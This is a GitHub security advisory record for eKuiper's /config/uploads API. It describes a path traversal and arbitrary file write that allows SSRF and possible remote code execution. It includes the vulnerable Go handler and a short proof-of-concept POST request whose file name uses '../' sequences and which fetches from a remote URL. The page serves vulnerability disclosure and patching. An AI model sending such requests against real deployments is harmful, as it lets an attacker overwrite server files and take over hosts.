# GHSA-gj54-gwj9-x2c6: eKuiper /config/uploads API arbitrary file writing may lead to RCE

- Severity: High (CVSS:4.0, scored by GitHub) `CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P`
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2025-07-03T14:22:05.000Z
- Modified: 2026-03-03T04:57:20.875Z
- Also known as: GO-2025-3800
- Weaknesses: CWE-434

## Description

### Summary
eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.

### Details
```go 
func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
	switch r.Method {
	// Upload or overwrite a file
	case http.MethodPost:
		switch r.Header.Get("Content-Type") {
		case "application/json":
			fc := &fileContent{}
			defer r.Body.Close()
			err := json.NewDecoder(r.Body).Decode(fc)
			if err != nil {
				handleError(w, err, "Invalid body: Error decoding file json", logger)
				return
			}
			err = fc.Validate()
			if err != nil {
				handleError(w, err, "Invalid body: missing necessary field", logger)
				return
			}

			filePath := filepath.Join(uploadDir, fc.Name)
			err = upload(fc)
```
- The fc.Name parameter do not safely filtered.

### PoC
```
POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89

{
  "name": "../../../../tmp/success",
 "file": "http://192.168.65.254:8888/success"
}
```
![image](https://github.com/user-attachments/assets/9ac23194-f5fd-49d3-ba54-334a7831739a)

### Impact

Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.

1. SSRF
2. Path-Travel
3. May leads to RCE

The reporters is m0d9 from Tencent YunDing Lab.

(As written by GitHub Advisory Database.)

## Affected

- github.com/lf-edge/ekuiper/v2 (Go): before 2.2.0
- github.com/lf-edge/ekuiper (Go): up to 1.14.7; all versions

## References

- <https://github.com/lf-edge/ekuiper/security/advisories/GHSA-gj54-gwj9-x2c6> (advisory, web)
- <https://github.com/lf-edge/ekuiper> (package)

## Sources

- GitHub Advisory Database: [GHSA-gj54-gwj9-x2c6](https://github.com/advisories/GHSA-gj54-gwj9-x2c6), CC-BY-4.0, modified 2025-07-28
- Go Vulnerability Database: [GO-2025-3800](https://pkg.go.dev/vuln/GO-2025-3800), CC-BY-4.0, modified 2026-03-03

---

Page: https://cve.day/GHSA-gj54-gwj9-x2c6 · Whole record: https://cve.day/GHSA-gj54-gwj9-x2c6.json · Rebuilt by cve.day 2026-11-25T22:56:24.085Z
